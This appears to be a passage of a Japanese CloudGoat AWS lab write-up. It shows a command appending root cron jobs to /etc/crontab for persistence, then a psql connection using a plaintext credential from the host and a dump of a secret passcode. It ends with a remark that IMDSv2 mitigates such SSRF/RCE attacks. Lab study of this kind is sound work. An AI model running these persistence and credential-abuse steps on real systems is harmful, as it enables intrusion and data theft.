echo -e "\n* * * * * root node /home/ubuntu/app/index.js &\n* * * * * root sleep 10; curl GET http://cg-lb-cgid2r2jsy7ea2-1136573408.us-east-1.elb.amazonaws.com/mkja1xijqf0abo1h9glg.html &\n* * * * * root sleep 10; node /home/ubuntu/app/index.js &\n* * * * * root sleep 20; node /home/ubuntu/app/index.js &\n* * * * * root sleep 30; node /home/ubuntu/app/index.js &\n* * * * * root sleep 40; node /home/ubuntu/app/index.js &\n* * * * * root sleep 50; node /home/ubuntu/app/index.js &\n" >> /etc/crontab

DBの接続情報が書かれているので、これを用いて接続してみる。
接続できれば、後はMcDuckの時と同じ。

ubuntu@ip-10-0-10-172:~$ psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/cloudgoat
psql (10.15 (Ubuntu 10.15-0ubuntu0.18.04.1), server 9.6.19)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

cloudgoat=> \dt
                List of relations
 Schema |         Name          | Type  |  Owner  
--------+-----------------------+-------+---------
 public | sensitive_information | table | cgadmin
(1 row)

cloudgoat=> select * from sensitive_information;
         name          |           value            
-----------------------+----------------------------
 Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b
(1 row)


ssrfやrceのシナリオはメタデータサービスv2を使えばこんなに簡単に攻撃はできなくなると思う。

[待望のアプデ]EC2インスタンスメタデータサービスv2がリリースされてSSRF脆弱性等への攻撃に対するセキュリティが強化されました! | Developers.IO